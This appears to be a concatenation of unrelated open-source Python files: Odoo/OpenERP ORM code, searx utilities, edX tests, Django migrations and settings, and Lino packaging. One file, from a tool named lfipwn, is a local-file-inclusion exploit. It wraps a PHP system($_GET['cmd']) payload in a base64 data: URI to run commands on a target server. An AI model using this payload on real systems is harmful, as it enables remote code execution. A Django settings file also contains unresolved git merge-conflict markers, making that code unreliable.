self.pool.get(self._all_columns[field_name].column._obj) for record in other_model.read(cr, uid, record_ids, fields=fields, context=context): record.update(updates.get(record['id'], {})) result.append(record) return result # for backward compatibility resolve_o2m_commands_to_record_dicts = resolve_2many_commands def _register_hook(self, cr): """ stuff to do right after the registry is built """ pass # keep this import here, at top it will cause dependency cycle errors import expression class Model(BaseModel): """Main super-class for regular database-persisted OpenERP models. OpenERP models are created by inheriting from this class:: class user(Model): ... The system will later instantiate the class once per database (on which the class' module is installed). """ _auto = True _register = False # not visible in ORM registry, meant to be python-inherited only _transient = False # True in a TransientModel class TransientModel(BaseModel): """Model super-class for transient records, meant to be temporarily persisted, and regularly vaccuum-cleaned. A TransientModel has a simplified access rights management, all users can create new records, and may only access the records they created. The super-user has unrestricted access to all TransientModel records. """ _auto = True _register = False # not visible in ORM registry, meant to be python-inherited only _transient = True class AbstractModel(BaseModel): """Abstract Model super-class for creating an abstract class meant to be inherited by regular models (Models or TransientModels) but not meant to be usable on its own, or persisted. Technical note: we don't want to make AbstractModel the super-class of Model or BaseModel because it would not make sense to put the main definition of persistence methods such as create() in it, and still we should be able to override them within an AbstractModel. """ _auto = False # don't create any database backend for AbstractModels _register = False # not visible in ORM registry, meant to be python-inherited only _transient = False def itemgetter_tuple(items): """ Fixes itemgetter inconsistency (useful in some cases) of not returning a tuple if len(items) == 1: always returns an n-tuple where n = len(items) """ if len(items) == 0: return lambda a: () if len(items) == 1: return lambda gettable: (gettable[items[0]],) return operator.itemgetter(*items) class ImportWarning(Warning): """ Used to send warnings upwards the stack during the import process """ pass def convert_pgerror_23502(model, fields, info, e): m = re.match(r'^null value in column "(?P<field>\w+)" violates ' r'not-null constraint\n', str(e)) field_name = m.group('field') if not m or field_name not in fields: return {'message': unicode(e)} message = _(u"Missing required value for the field '%s'.") % field_name field = fields.get(field_name) if field: message = _(u"%s This might be '%s' in the current model, or a field " u"of the same name in an o2m.") % (message, field['string']) return { 'message': message, 'field': field_name, } def convert_pgerror_23505(model, fields, info, e): m = re.match(r'^duplicate key (?P<field>\w+) violates unique constraint', str(e)) field_name = m.group('field') if not m or field_name not in fields: return {'message': unicode(e)} message = _(u"The value for the field '%s' already exists.") % field_name field = fields.get(field_name) if field: message = _(u"%s This might be '%s' in the current model, or a field " u"of the same name in an o2m.") % (message, field['string']) return { 'message': message, 'field': field_name, } PGERROR_TO_OE = collections.defaultdict( # shape of mapped converters lambda: (lambda model, fvg, info, pgerror: {'message': unicode(pgerror)}), { # not_null_violation '23502': convert_pgerror_23502, # unique constraint error '23505': convert_pgerror_23505, }) # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
frouty/odoogoeen
openerp/osv/orm.py
Python
agpl-3.0
272,006
import getpass import statsd import logging LOG = logging.getLogger(__name__) def increment_as_user(*label_components): try: statsd.increment(assemble_label(label_components, getpass.getuser())) statsd.increment(assemble_label(label_components, 'total')) except: LOG.exception('failed to increment as user %s', label_components) def increment(*args, **kwargs): try: statsd.increment(*args, **kwargs) except: LOG.exception('failed to increment args=%s, kwargs=%s', args, kwargs) def create_timer(name): return statsd.StatsdTimer(name) def assemble_label(rest, tail): lc = list(rest) + [tail] return '.'.join(lc)
genome/flow-core
flow/util/stats.py
Python
agpl-3.0
685
from core.techniques.LFIExec import LFIExec from base64 import b64encode class LFIDataURI (LFIExec): files_exec = [ # input { 'path' : '', 'type' : 'data_uri' }, ] # find LFI code execution path def check (self): return super(LFIDataURI, self)._check (prepare_check_data_uri) # do exec def exploit (self, cmd): return super(LFIDataURI, self)._exploit (prepare_exec_data_uri, cmd) def prepare_check_data_uri (lfi, payload): purl = lfi.pattern_url[:] payload = 'data:text/plain;base64,' + b64encode (payload) # payload = 'data:text/plain,' + payload url = purl.replace (lfi.payload_placeholder, payload) return url def prepare_exec_data_uri (lfi, cmd): purl = lfi.pattern_url[:] payload_exec = '<?php echo "' + lfi.tag_start_exec + '"; system ($_GET["cmd"]); echo "' + lfi.tag_end_exec + '"; ?>' payload = 'data:text/plain;base64,{0}&cmd={1}'.format (b64encode (payload_exec), cmd) # payload = 'data:text/plain,{0}&cmd={1}'.format (payload_exec, cmd) url = purl.replace (lfi.payload_placeholder, payload) return url
m101/lfipwn
core/techniques/LFIDataURI.py
Python
agpl-3.0
1,128
# -*- coding: utf-8 -*- # Generated by Django 1.9.8 on 2016-07-28 13:17 from __future__ import unicode_literals from django.db import migrations import ideascube.models class Migration(migrations.Migration): dependencies = [ ('library', '0005_auto_20160712_1324'), ] operations = [ migrations.AlterField( model_name='book', name='lang', field=ideascube.models.LanguageField(choices=[ ('af', 'Afrikaans'), ('am', 'አማርኛ'), ('ar', 'العربيّة'), ('ast', 'Asturianu'), ('az', 'Azərbaycanca'), ('be', 'Беларуская'), ('bg', 'Български'), ('bm', 'Bambara'), ('bn', 'বাংলা'), ('br', 'Brezhoneg'), ('bs', 'Bosanski'), ('ca', 'Català'), ('cs', 'Česky'), ('cy', 'Cymraeg'), ('da', 'Dansk'), ('de', 'Deutsch'), ('el', 'Ελληνικά'), ('en', 'English'), ('en-au', 'Australian english'), ('en-gb', 'British english'), ('eo', 'Esperanto'), ('es', 'Español'), ('es-ar', 'Español de argentina'), ('es-co', 'Español de colombia'), ('es-mx', 'Español de mexico'), ('es-ni', 'Español de nicaragua'), ('es-ve', 'Español de venezuela'), ('et', 'Eesti'), ('eu', 'Basque'), ('fa', 'فارسی'), ('fi', 'Suomi'), ('fr', 'Français'), ('fy', 'Frysk'), ('ga', 'Gaeilge'), ('gd', 'Gàidhlig'), ('gl', 'Galego'), ('he', 'עברית'), ('hi', 'Hindi'), ('hr', 'Hrvatski'), ('hu', 'Magyar'), ('ia', 'Interlingua'), ('id', 'Bahasa indonesia'), ('io', 'Ido'), ('is', 'Íslenska'), ('it', 'Italiano'), ('ja', '日本語'), ('ka', 'ქართული'), ('kk', 'Қазақ'), ('km', 'Khmer'), ('kn', 'Kannada'), ('ko', '한국어'), ('ku', 'Kurdî'), ('lb', 'Lëtzebuergesch'), ('ln', 'Lingála'), ('lt', 'Lietuviškai'), ('lv', 'Latviešu'), ('mk', 'Македонски'), ('ml', 'Malayalam'), ('mn', 'Mongolian'), ('mr', 'मराठी'), ('my', 'မြန်မာဘာသာ'), ('nb', 'Norsk (bokmål)'), ('ne', 'नेपाली'), ('nl', 'Nederlands'), ('nn', 'Norsk (nynorsk)'), ('no', 'Norsk'), ('os', 'Ирон'), ('pa', 'Punjabi'), ('pl', 'Polski'), ('ps', 'پښتو'), ('pt', 'Português'), ('pt-br', 'Português brasileiro'), ('rn', 'Kirundi'), ('ro', 'Română'), ('ru', 'Русский'), ('sk', 'Slovensky'), ('sl', 'Slovenščina'), ('so', 'Af-soomaali'), ('sq', 'Shqip'), ('sr', 'Српски'), ('sr-latn', 'Srpski (latinica)'), ('sv', 'Svenska'), ('sw', 'Kiswahili'), ('ta', 'தமிழ்'), ('te', 'తెలుగు'), ('th', 'ภาษาไทย'), ('ti', 'ትግርኛ'), ('tr', 'Türkçe'), ('tt', 'Татарча'), ('udm', 'Удмурт'), ('uk', 'Українська'), ('ur', 'اردو'), ('vi', 'Tiếng việt'), ('wo', 'Wolof'), ('zh-hans', '简体中文'), ('zh-hant', '繁體中文') ], max_length=10, verbose_name='Language'), ), ]
ideascube/ideascube
ideascube/library/migrations/0006_auto_20160728_1317.py
Python
agpl-3.0
3,408
"""Test Entitlements models""" import unittest from datetime import timedelta from django.conf import settings from django.test import TestCase from django.utils.timezone import now from lms.djangoapps.certificates.models import CertificateStatuses # pylint: disable=import-error from lms.djangoapps.certificates.api import MODES from lms.djangoapps.certificates.tests.factories import GeneratedCertificateFactory from openedx.core.djangoapps.content.course_overviews.tests.factories import CourseOverviewFactory from student.tests.factories import CourseEnrollmentFactory # Entitlements is not in CMS' INSTALLED_APPS so these imports will error during test collection if settings.ROOT_URLCONF == 'lms.urls': from entitlements.tests.factories import CourseEntitlementFactory @unittest.skipUnless(settings.ROOT_URLCONF == 'lms.urls', 'Test only valid in lms') class TestModels(TestCase): """Test entitlement with policy model functions.""" def setUp(self): super(TestModels, self).setUp() self.course = CourseOverviewFactory.create( start=now() ) self.enrollment = CourseEnrollmentFactory.create(course_id=self.course.id) def test_is_entitlement_redeemable(self): """ Test that the entitlement is not expired when created now, and is expired when created 2 years ago with a policy that sets the expiration period to 450 days """ entitlement = CourseEntitlementFactory.create() assert entitlement.is_entitlement_redeemable() is True # Create a date 2 years in the past (greater than the policy expire period of 450 days) past_datetime = now() - timedelta(days=365 * 2) entitlement.created = past_datetime entitlement.save() assert entitlement.is_entitlement_redeemable() is False entitlement = CourseEntitlementFactory.create(expired_at=now()) assert entitlement.is_entitlement_refundable() is False def test_is_entitlement_refundable(self): """ Test that the entitlement is refundable when created now, and is not refundable when created 70 days ago with a policy that sets the expiration period to 60 days. Also test that if the entitlement is spent and greater than 14 days it is no longer refundable. """ entitlement = CourseEntitlementFactory.create() assert entitlement.is_entitlement_refundable() is True # If there is no order_number make sure the entitlement is not refundable entitlement.order_number = None assert entitlement.is_entitlement_refundable() is False # Create a date 70 days in the past (greater than the policy refund expire period of 60 days) past_datetime = now() - timedelta(days=70) entitlement = CourseEntitlementFactory.create(created=past_datetime) assert entitlement.is_entitlement_refundable() is False entitlement = CourseEntitlementFactory.create(enrollment_course_run=self.enrollment) # Create a date 20 days in the past (less than the policy refund expire period of 60 days) # but more than the policy regain period of 14 days and also the course start past_datetime = now() - timedelta(days=20) entitlement.created = past_datetime self.enrollment.created = past_datetime self.course.start = past_datetime entitlement.save() self.course.save() self.enrollment.save() assert entitlement.is_entitlement_refundable() is False # Removing the entitlement being redeemed, make sure that the entitlement is refundable entitlement.enrollment_course_run = None assert entitlement.is_entitlement_refundable() is True entitlement = CourseEntitlementFactory.create(expired_at=now()) assert entitlement.is_entitlement_refundable() is False def test_is_entitlement_regainable(self): """ Test that the entitlement is not expired when created now, and is expired when created20 days ago with a policy that sets the expiration period to 14 days """ entitlement = CourseEntitlementFactory.create(enrollment_course_run=self.enrollment) assert entitlement.is_entitlement_regainable() is True # Create and associate a GeneratedCertificate for a user and course and make sure it isn't regainable GeneratedCertificateFactory( user=entitlement.user, course_id=entitlement.enrollment_course_run.course_id, mode=MODES.verified, status=CertificateStatuses.downloadable, ) assert entitlement.is_entitlement_regainable() is False # Create a date 20 days in the past (greater than the policy expire period of 14 days) # and apply it to both the entitlement and the course past_datetime = now() - timedelta(days=20) entitlement = CourseEntitlementFactory.create(enrollment_course_run=self.enrollment, created=past_datetime) self.enrollment.created = past_datetime self.course.start = past_datetime self.course.save() self.enrollment.save() assert entitlement.is_entitlement_regainable() is False entitlement = CourseEntitlementFactory.create(expired_at=now()) assert entitlement.is_entitlement_regainable def test_get_days_until_expiration(self): """ Test that the expiration period is always less than or equal to the policy expiration """ entitlement = CourseEntitlementFactory.create(enrollment_course_run=self.enrollment) # This will always either be 1 less than the expiration_period_days because the get_days_until_expiration # method will have had at least some time pass between object creation in setUp and this method execution, # or the exact same as the original expiration_period_days if somehow no time has passed assert entitlement.get_days_until_expiration() <= entitlement.policy.expiration_period.days def test_expired_at_datetime(self): """ Tests that using the getter method properly updates the expired_at field for an entitlement """ # Verify a brand new entitlement isn't expired and the db row isn't updated entitlement = CourseEntitlementFactory.create() expired_at_datetime = entitlement.expired_at_datetime assert expired_at_datetime is None assert entitlement.expired_at is None # Verify an entitlement from two years ago is expired and the db row is updated past_datetime = now() - timedelta(days=365 * 2) entitlement.created = past_datetime entitlement.save() expired_at_datetime = entitlement.expired_at_datetime assert expired_at_datetime assert entitlement.expired_at # Verify that a brand new entitlement that has been redeemed is not expired entitlement = CourseEntitlementFactory.create(enrollment_course_run=self.enrollment) assert entitlement.enrollment_course_run expired_at_datetime = entitlement.expired_at_datetime assert expired_at_datetime is None assert entitlement.expired_at is None # Verify that an entitlement that has been redeemed but not within 14 days # and the course started more than two weeks ago is expired past_datetime = now() - timedelta(days=20) entitlement.created = past_datetime self.enrollment.created = past_datetime self.course.start = past_datetime entitlement.save() self.course.save() self.enrollment.save() assert entitlement.enrollment_course_run expired_at_datetime = entitlement.expired_at_datetime assert expired_at_datetime assert entitlement.expired_at # Verify that an entitlement that has just been created, but the user has been enrolled in the course for # greater than 14 days, and the course started more than 14 days ago is not expired entitlement = CourseEntitlementFactory.create(enrollment_course_run=self.enrollment) past_datetime = now() - timedelta(days=20) entitlement.created = now() self.enrollment.created = past_datetime self.course.start = past_datetime entitlement.save() self.enrollment.save() self.course.save() assert entitlement.enrollment_course_run expired_at_datetime = entitlement.expired_at_datetime assert expired_at_datetime is None assert entitlement.expired_at is None # Verify a date 451 days in the past (1 days after the policy expiration) # That is enrolled and started in within the regain period is still expired entitlement = CourseEntitlementFactory.create(enrollment_course_run=self.enrollment) expired_datetime = now() - timedelta(days=451) entitlement.created = expired_datetime start = now() self.enrollment.created = start self.course.start = start entitlement.save() self.course.save() self.enrollment.save() assert entitlement.enrollment_course_run expired_at_datetime = entitlement.expired_at_datetime assert expired_at_datetime assert entitlement.expired_at
proversity-org/edx-platform
common/djangoapps/entitlements/tests/test_models.py
Python
agpl-3.0
9,335
# -*- coding: utf-8 -*- # © 2016 ClearCorp # License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html). { 'name': 'Sale Order Terms & Conditions', 'version': '1.0', 'category': 'sales', 'sequence': 20, 'summary': '', 'description': """ Add Terms & Conditions to the sale order ======================================== """, 'author': 'ClearCorp', 'website': 'http://clearcorp.co.cr', 'complexity': 'normal', 'images': [], 'depends': [ 'base', 'sale' ], 'data': [ 'security/ir.model.access.csv', 'views/sale_order_terms_and_conds_view.xml' ], 'test': [], 'demo': [], 'installable': True, 'auto_install': False, 'application': False, 'license': 'AGPL-3', }
ClearCorp/odoo-clearcorp
sale_order_terms_and_conds/__openerp__.py
Python
agpl-3.0
776
# -*- coding: utf-8 -*- """ Tests for the EnterpriseCourseEnrollmentview of the enterprise_learner_portal app. """ from collections import OrderedDict import mock from pytest import mark from django.test import RequestFactory, TestCase from enterprise.utils import NotConnectedToOpenEdX from enterprise_learner_portal.api.v1.serializers import EnterpriseCourseEnrollmentSerializer from test_utils import factories @mark.django_db class TestEnterpriseCourseEnrollmentSerializer(TestCase): """ EnterpriseCourseEnrollmentSerializer tests. """ def setUp(self): super().setUp() self.user = factories.UserFactory.create(is_staff=True, is_active=True) self.factory = RequestFactory() self.enterprise_customer_user = factories.EnterpriseCustomerUserFactory.create(user_id=self.user.id) @mock.patch('enterprise.models.CourseEnrollment') @mock.patch('enterprise_learner_portal.api.v1.serializers.get_course_run_status') @mock.patch('enterprise_learner_portal.api.v1.serializers.get_emails_enabled') @mock.patch('enterprise_learner_portal.api.v1.serializers.get_course_run_url') @mock.patch('enterprise_learner_portal.api.v1.serializers.get_certificate_for_user') def test_serializer_representation( self, mock_get_cert, mock_get_course_run_url, mock_get_emails_enabled, mock_get_course_run_status, mock_course_enrollment_class, ): """ EnterpriseCourseEnrollmentSerializer should create proper representation based on the instance data it receives (an enterprise course enrollment) """ course_run_id = 'some+id+here' course_overviews = [{ 'id': course_run_id, 'start': 'a datetime object', 'end': 'a datetime object', 'display_name_with_default': 'a default name', 'pacing': 'instructor', 'display_org_with_default': 'my university', }] mock_get_cert.return_value = { 'download_url': 'example.com', 'is_passing': True, 'created': 'a datetime object', } mock_get_course_run_url.return_value = 'example.com' mock_get_emails_enabled.return_value = True mock_get_course_run_status.return_value = 'completed' enterprise_enrollment = factories.EnterpriseCourseEnrollmentFactory.create( enterprise_customer_user=self.enterprise_customer_user, course_id=course_run_id ) mock_course_enrollment_class.objects.get.return_value.is_active = True mock_course_enrollment_class.objects.get.return_value.mode = 'verified' request = self.factory.get('/') request.user = self.user serializer = EnterpriseCourseEnrollmentSerializer( [enterprise_enrollment], many=True, context={'request': request, 'course_overviews': course_overviews}, ) expected = OrderedDict([ ('certificate_download_url', 'example.com'), ('emails_enabled', True), ('course_run_id', course_run_id), ('course_run_status', 'completed'), ('start_date', 'a datetime object'), ('end_date', 'a datetime object'), ('display_name', 'a default name'), ('course_run_url', 'example.com'), ('due_dates', []), ('pacing', 'instructor'), ('org_name', 'my university'), ('is_revoked', False), ('is_enrollment_active', True), ('mode', 'verified') ]) actual = serializer.data[0] self.assertDictEqual(actual, expected) def test_view_requires_openedx_installation(self): """ View should raise error if imports to helper methods fail. """ with self.assertRaises(NotConnectedToOpenEdX): EnterpriseCourseEnrollmentSerializer({})
edx/edx-enterprise
tests/test_enterprise_learner_portal/api/test_serializers.py
Python
agpl-3.0
3,984
import csv import hashlib import hmac import os import re from babel.dates import format_date from codecs import getincrementalencoder from imp import load_source from numbers import Number from os.path import splitext, join from random import choice import sys from searx.version import VERSION_STRING from searx.languages import language_codes from searx import settings from searx import logger try: from cStringIO import StringIO except: from io import StringIO try: from HTMLParser import HTMLParser except: from html.parser import HTMLParser if sys.version_info[0] == 3: unichr = chr unicode = str IS_PY2 = False else: IS_PY2 = True logger = logger.getChild('utils') ua_versions = ('40.0', '41.0', '42.0', '43.0', '44.0', '45.0', '46.0', '47.0') ua_os = ('Windows NT 6.3; WOW64', 'X11; Linux x86_64', 'X11; Linux x86') ua = "Mozilla/5.0 ({os}; rv:{version}) Gecko/20100101 Firefox/{version}" blocked_tags = ('script', 'style') def gen_useragent(): # TODO return ua.format(os=choice(ua_os), version=choice(ua_versions)) def searx_useragent(): return 'searx/{searx_version} {suffix}'.format( searx_version=VERSION_STRING, suffix=settings['outgoing'].get('useragent_suffix', '')) def highlight_content(content, query): if not content: return None # ignoring html contents # TODO better html content detection if content.find('<') != -1: return content query = query.decode('utf-8') if content.lower().find(query.lower()) > -1: query_regex = u'({0})'.format(re.escape(query)) content = re.sub(query_regex, '<span class="highlight">\\1</span>', content, flags=re.I | re.U) else: regex_parts = [] for chunk in query.split(): if len(chunk) == 1: regex_parts.append(u'\\W+{0}\\W+'.format(re.escape(chunk))) else: regex_parts.append(u'{0}'.format(re.escape(chunk))) query_regex = u'({0})'.format('|'.join(regex_parts)) content = re.sub(query_regex, '<span class="highlight">\\1</span>', content, flags=re.I | re.U) return content class HTMLTextExtractor(HTMLParser): def __init__(self): HTMLParser.__init__(self) self.result = [] self.tags = [] def handle_starttag(self, tag, attrs): self.tags.append(tag) def handle_endtag(self, tag): if not self.tags: return if tag != self.tags[-1]: raise Exception("invalid html") self.tags.pop() def is_valid_tag(self): return not self.tags or self.tags[-1] not in blocked_tags def handle_data(self, d): if not self.is_valid_tag(): return self.result.append(d) def handle_charref(self, number): if not self.is_valid_tag(): return if number[0] in (u'x', u'X'): codepoint = int(number[1:], 16) else: codepoint = int(number) self.result.append(unichr(codepoint)) def handle_entityref(self, name): if not self.is_valid_tag(): return # codepoint = htmlentitydefs.name2codepoint[name] # self.result.append(unichr(codepoint)) self.result.append(name) def get_text(self): return u''.join(self.result).strip() def html_to_text(html): html = html.replace('\n', ' ') html = ' '.join(html.split()) s = HTMLTextExtractor() s.feed(html) return s.get_text() class UnicodeWriter: """ A CSV writer which will write rows to CSV file "f", which is encoded in the given encoding. """ def __init__(self, f, dialect=csv.excel, encoding="utf-8", **kwds): # Redirect output to a queue self.queue = StringIO() self.writer = csv.writer(self.queue, dialect=dialect, **kwds) self.stream = f self.encoder = getincrementalencoder(encoding)() def writerow(self, row): if IS_PY2: row = [s.encode("utf-8") if hasattr(s, 'encode') else s for s in row] self.writer.writerow(row) # Fetch UTF-8 output from the queue ... data = self.queue.getvalue() if IS_PY2: data = data.decode("utf-8") else: data = data.strip('\x00') # ... and reencode it into the target encoding data = self.encoder.encode(data) # write to the target stream if IS_PY2: self.stream.write(data) else: self.stream.write(data.decode("utf-8")) # empty queue self.queue.truncate(0) def writerows(self, rows): for row in rows: self.writerow(row) def get_resources_directory(searx_directory, subdirectory, resources_directory): if not resources_directory: resources_directory = os.path.join(searx_directory, subdirectory) if not os.path.isdir(resources_directory): raise Exception(directory + " is not a directory") return resources_directory def get_themes(templates_path): """Returns available themes list.""" themes = os.listdir(templates_path) if '__common__' in themes: themes.remove('__common__') return themes def get_static_files(static_path): static_files = set() static_path_length = len(static_path) + 1 for directory, _, files in os.walk(static_path): for filename in files: f = os.path.join(directory[static_path_length:], filename) static_files.add(f) return static_files def get_result_templates(templates_path): result_templates = set() templates_path_length = len(templates_path) + 1 for directory, _, files in os.walk(templates_path): if directory.endswith('result_templates'): for filename in files: f = os.path.join(directory[templates_path_length:], filename) result_templates.add(f) return result_templates def format_date_by_locale(date, locale_string): # strftime works only on dates after 1900 if date.year <= 1900: return date.isoformat().split('T')[0] if locale_string == 'all': locale_string = settings['ui']['default_locale'] or 'en_US' # to avoid crashing if locale is not supported by babel try: formatted_date = format_date(date, locale=locale_string) except: formatted_date = format_date(date, "YYYY-MM-dd") return formatted_date def dict_subset(d, properties): result = {} for k in properties: if k in d: result[k] = d[k] return result def prettify_url(url, max_length=74): if len(url) > max_length: chunk_len = int(max_length / 2 + 1) return u'{0}[...]{1}'.format(url[:chunk_len], url[-chunk_len:]) else: return url # get element in list or default value def list_get(a_list, index, default=None): if len(a_list) > index: return a_list[index] else: return default def get_torrent_size(filesize, filesize_multiplier): try: filesize = float(filesize) if filesize_multiplier == 'TB': filesize = int(filesize * 1024 * 1024 * 1024 * 1024) elif filesize_multiplier == 'GB': filesize = int(filesize * 1024 * 1024 * 1024) elif filesize_multiplier == 'MB': filesize = int(filesize * 1024 * 1024) elif filesize_multiplier == 'KB': filesize = int(filesize * 1024) elif filesize_multiplier == 'TiB': filesize = int(filesize * 1000 * 1000 * 1000 * 1000) elif filesize_multiplier == 'GiB': filesize = int(filesize * 1000 * 1000 * 1000) elif filesize_multiplier == 'MiB': filesize = int(filesize * 1000 * 1000) elif filesize_multiplier == 'KiB': filesize = int(filesize * 1000) except: filesize = None return filesize def convert_str_to_int(number_str): if number_str.isdigit(): return int(number_str) else: return 0 # convert a variable to integer or return 0 if it's not a number def int_or_zero(num): if isinstance(num, list): if len(num) < 1: return 0 num = num[0] return convert_str_to_int(num) def is_valid_lang(lang): is_abbr = (len(lang) == 2) if is_abbr: for l in language_codes: if l[0][:2] == lang.lower(): return (True, l[0][:2], l[3].lower()) return False else: for l in language_codes: if l[1].lower() == lang.lower(): return (True, l[0][:2], l[3].lower()) return False def load_module(filename, module_dir): modname = splitext(filename)[0] if modname in sys.modules: del sys.modules[modname] filepath = join(module_dir, filename) module = load_source(modname, filepath) module.name = modname return module def new_hmac(secret_key, url): if sys.version_info[0] == 2: return hmac.new(bytes(secret_key), url, hashlib.sha256).hexdigest() else: return hmac.new(bytes(secret_key, 'utf-8'), url, hashlib.sha256).hexdigest() def to_string(obj): if isinstance(obj, basestring): return obj if isinstance(obj, Number): return unicode(obj) if hasattr(obj, '__str__'): return obj.__str__() if hasattr(obj, '__repr__'): return obj.__repr__()
misnyo/searx
searx/utils.py
Python
agpl-3.0
9,614
# -*- coding: UTF-8 -*- # Copyright 2014-2021 Rumma & Ko Ltd # License: GNU Affero General Public License v3 (see file COPYING for details) SETUP_INFO = dict( name='lino-cosi', version='21.3.0', install_requires=['lino-xl', 'django-iban', 'lxml'], # tests_require=['beautifulsoup4'], # satisfied by lino deps test_suite='tests', description="A Lino application to make accounting simple", long_description=""" **Lino Così** is a `Lino application <http://www.lino-framework.org/>`__ for accounting (`more <https://cosi.lino-framework.org/about.html>`__). - The central project homepage is http://cosi.lino-framework.org - You can try it yourself in `our demo sites <https://www.lino-framework.org/demos.html>`__ - We have some `end-user documentation in German <https://de.cosi.lino-framework.org/>`__ - Technical specs are at https://www.lino-framework.org/specs/cosi - This is an integral part of the Lino framework, which is documented at https://www.lino-framework.org - The changelog is at https://www.lino-framework.org/changes - For introductions, commercial information and hosting solutions see https://www.saffre-rumma.net - This is a sustainably free open-source project. Your contributions are welcome. See https://community.lino-framework.org for details. """, author='Luc Saffre', author_email='[email protected]', url="https://github.com/lino-framework/cosi", license_files=['COPYING'], classifiers="""\ Programming Language :: Python Programming Language :: Python :: 3 Development Status :: 5 - Production/Stable Environment :: Web Environment Framework :: Django Intended Audience :: Developers Intended Audience :: System Administrators License :: OSI Approved :: GNU Affero General Public License v3 Operating System :: OS Independent Topic :: Office/Business :: Financial :: Accounting """.splitlines()) SETUP_INFO.update(packages=[ 'lino_cosi', 'lino_cosi.lib', 'lino_cosi.lib.cosi', 'lino_cosi.lib.contacts', 'lino_cosi.lib.contacts.fixtures', 'lino_cosi.lib.contacts.management', 'lino_cosi.lib.contacts.management.commands', 'lino_cosi.lib.products', 'lino_cosi.lib.products.fixtures', 'lino_cosi.lib.orders', ]) SETUP_INFO.update(message_extractors={ 'lino_cosi': [ ('**/cache/**', 'ignore', None), ('**.py', 'python', None), ('**.js', 'javascript', None), ('**/templates_jinja/**.html', 'jinja2', None), ], }) SETUP_INFO.update( # package_data=dict(), zip_safe=False, include_package_data=True) # def add_package_data(package, *patterns): # l = SETUP_INFO['package_data'].setdefault(package, []) # l.extend(patterns) # return l # ~ add_package_data('lino_cosi', # ~ 'config/patrols/Patrol/*.odt', # ~ 'config/patrols/Overview/*.odt') # l = add_package_data('lino_cosi.lib.cosi') # for lng in 'de fr'.split(): # l.append('lino_cosi/lib/cosi/locale/%s/LC_MESSAGES/*.mo' % lng) # l = add_package_data('lino_xl.lib.sepa', # 'lino_xl.lib/sepa/config/iban/*') # 'config/iban/*') # print 20160820, SETUP_INFO['package_data'] # raw_input()
lsaffre/lino-cosi
lino_cosi/setup_info.py
Python
agpl-3.0
3,193
# -*- coding: utf-8 -*- # Copyright 2017-2019 Barroux Abbey (www.barroux.org) # Copyright 2017-2019 Akretion France (www.akretion.com) # @author: Alexis de Lattre <[email protected]> # License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). from odoo import models, fields class BaseConfigSettings(models.TransientModel): _inherit = 'base.config.settings' mass_validation_account_id = fields.Many2one( related='company_id.mass_validation_account_id') mass_validation_analytic_account_id = fields.Many2one( related='company_id.mass_validation_analytic_account_id') mass_validation_journal_id = fields.Many2one( related='company_id.mass_validation_journal_id') mass_post_move = fields.Boolean(related='company_id.mass_post_move')
OCA/vertical-abbey
mass/base_config_settings.py
Python
agpl-3.0
793
# -*- coding: utf-8 -*- ''' Django settings for foodcheck project ''' # Copyright (C) 2013 Timothy James Austen, Eileen Qiuhua Lin, # Richard Esplin <[email protected]> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import imp, os # a setting to determine whether we are running on OpenShift ON_OPENSHIFT = False if os.environ.has_key('OPENSHIFT_REPO_DIR'): ON_OPENSHIFT = True PROJECT_DIR = os.path.dirname(os.path.realpath(__file__)) <<<<<<< HEAD:wsgi/foodcheck_proj/settings.py # turn off debug when on production if (os.environ['OPENSHIFT_NAMESPACE'] == 'foodcheck' and os.environ['OPENSHIFT_APP_NAME'] == 'live'): DEBUG = False ======= if ON_OPENSHIFT: DEBUG = bool(os.environ.get('DEBUG', False)) if DEBUG: print("WARNING: The DEBUG environment is set to True.") >>>>>>> django-example/master:wsgi/openshift/settings.py else: DEBUG = True TEMPLATE_DEBUG = DEBUG ADMINS = ( # ('Your Name', '[email protected]'), ('Richard Esplin', '[email protected]'), ('Timothy Austen', '[email protected]'), ) MANAGERS = ADMINS if ON_OPENSHIFT: # os.environ['OPENSHIFT_MYSQL_DB_*'] variables can be used with databases created # with rhc cartridge add (see /README in this git repo) DATABASES = { 'default': { 'ENGINE': 'django.db.backends.postgresql_psycopg2', 'NAME': os.environ['OPENSHIFT_APP_NAME'], 'USER': os.environ['OPENSHIFT_POSTGRESQL_DB_USERNAME'], 'PASSWORD': os.environ['OPENSHIFT_POSTGRESQL_DB_PASSWORD'], 'HOST': os.environ['OPENSHIFT_POSTGRESQL_DB_HOST'], 'PORT': os.environ['OPENSHIFT_POSTGRESQL_DB_PORT'], } } else: DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', # Add 'postgresql_psycopg2', 'postgresql', 'mysql', 'sqlite3' or 'oracle'. 'NAME': os.path.join(os.environ['OPENSHIFT_DATA_DIR'], 'sqlite3.db'), # Or path to database file if using sqlite3. 'USER': '', # Not used with sqlite3. 'PASSWORD': '', # Not used with sqlite3. 'HOST': '', # Set to empty string for localhost. Not used with sqlite3. 'PORT': '', # Set to empty string for default. Not used with sqlite3. } } # Local time zone for this installation. Choices can be found here: # http://en.wikipedia.org/wiki/List_of_tz_zones_by_name # although not all choices may be available on all operating systems. # On Unix systems, a value of None will cause Django to use the same # timezone as the operating system. # If running in a Windows environment this must be set to the same as your # system time zone. TIME_ZONE = 'America/Chicago' # Language code for this installation. All choices can be found here: # http://www.i18nguy.com/unicode/language-identifiers.html LANGUAGE_CODE = 'en-us' SITE_ID = 1 # If you set this to False, Django will make some optimizations so as not # to load the internationalization machinery. USE_I18N = True # If you set this to False, Django will not format dates, numbers and # calendars according to the current locale USE_L10N = True # Absolute filesystem path to the directory that will hold user-uploaded files. # Example: "/home/media/media.lawrence.com/media/" MEDIA_ROOT = os.environ.get('OPENSHIFT_DATA_DIR', '') # URL that handles the media served from MEDIA_ROOT. Make sure to use a # trailing slash. # Examples: "http://media.lawrence.com/media/", "http://example.com/media/" MEDIA_URL = '' # Absolute path to the directory static files should be collected to. # Don't put anything in this directory yourself; store your static files # in apps' "static/" subdirectories and in STATICFILES_DIRS. # Example: "/home/media/media.lawrence.com/static/" 